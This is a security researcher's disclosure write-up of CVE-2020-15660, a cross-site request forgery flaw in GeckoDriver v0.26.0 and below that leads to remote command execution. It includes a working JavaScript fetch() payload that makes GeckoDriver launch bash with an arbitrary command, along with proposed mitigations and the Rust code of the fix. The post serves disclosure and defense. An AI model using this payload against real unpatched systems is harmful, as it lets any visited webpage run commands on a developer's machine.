/dev/posts/

CSRF to RCE in GeckoDriver

Published:

Updated:

A Cross-Site Request Forgery (CSRF) vulnerability I found in GeckoDriver which could be used to execute arbitrary shell commands. CVE-2020-15660 has been assigned to this vulnerability. This was fixed by GeckoDriver v0.27.0 in 2020-07-27. This is bug #1648964.

GeckoDriver v0.26.0 and below is vulnerable to CSRF. While no WebDriver session is running, this can be used to execute arbitrary system commands (remote command execution) as demonstrated by this exploit:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

I have tested this vulnerability on:

Table of content

Cross-Site Request Forgery

By default, GeckoDriver listens on http://localhost:4444. This prevents other machines from directly attacking the GeckoDriver instance. However GeckoDriver is vulnerable to CSRF attacks as demonstrated by:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {}
        }
    };
});

When executed by the user's browser from another origin, this code spawns a new Firefox instance. This must happen while no WebDriver session is running in GeckoDriver as GeckoDriver rejects the creation of a second session.

The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:

Remote Code Execution

It is however possible for the attacker to execute arbitrary commands with the session creation request.

The following properties of moz:firefoxOptions are of particular interest:

The actual command executed by GeckoDriver to create a browser is:

"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"

In order to execute arbitrary command, we need to find a program which accepts an initial -marionette argument and execute commands taken from $args or from environment variables.

bash can used to execute arbitrary system commands as demonstrated by the following exploit which executes the xterm -e nyancat system command:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

The command executed by GeckoDriver is:

bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
  -foreground -no-remote -profile "$profile"

The initial -marionette argument is interpreted as a serie of flags. The only problematic ones are:

Mitigations proposals

Content-Type Validation

CSRF is possible because GeckoDriver accepts requests with any Content-Type. Another origin can make POST requests to GeckoDriver using the following content-types: application/x-www-form-urlencoded, multipart/form-data, text/plain.

GeckoDriver could fix this vulnerability by rejecting these content-types. GeckoDriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers. I have reportes a similar issue on another whromedriver The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.

HTTP-level Authentication

An new command-line flag could be added to GeckoDriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.

PF_LOCAL Socket

GeckoDriver could receive a new option to listen on a PF_LOCAL socket. These sockets are normally not accessible by CSRF. This could additionnaly be used to prevent other users on the same machine from talking to the GeckoDriver instance.

Implemented Mitigations

Several changes where implemented to harden GeckoDriver against this kind of attacks.

On of these changes include a verification of the Content-Type header:

if method == Method::POST {
    // Disallow CORS-safelisted request headers
    // c.f. https://fetch.spec.whatwg.org/#cors-safelisted-request-header
    let content_type = content_type_header
        .as_ref()
        .map(|x| x.find(';').and_then(|idx| x.get(0..idx)).unwrap_or(x))
        .map(|x| x.trim())
        .map(|x| x.to_lowercase());
    match content_type.as_ref().map(|x| x.as_ref()) {
        Some("application/x-www-form-urlencoded")
        | Some("multipart/form-data")
        | Some("text/plain") => {
            return warp::reply::with_status(
                "Invalid content-type".to_string(),
                StatusCode::BAD_REQUEST,
            )
        }
        Some(_) | None => {}
    }

In addition, the Origin header is checked as well:

if let Some(origin) = origin_header {
    let mut valid_host = false;
    let host_url = Url::parse(&origin).ok();
    let host = host_url.as_ref().and_then(|x| x.host().to_owned());
    if let Some(host) = host {
        valid_host = match host {
            Host::Domain("localhost") => true,
            Host::Domain(_) => false,
            Host::Ipv4(x) => address.is_ipv4() && x == address.ip(),
            Host::Ipv6(x) => address.is_ipv6() && x == address.ip(),
        };
    }
    if !valid_host {
        return warp::reply::with_status(
            "Invalid origin".to_string(),
            StatusCode::BAD_REQUEST,
        );
    }
}

GeckoDriver now passes the --marionette agument instead of the -marionette argument. Most programs should reject this argument.

In addition, Firefox now checks that ths program specified in moz:firefoxOptions/binary is actually a Firefox instance.

Timeline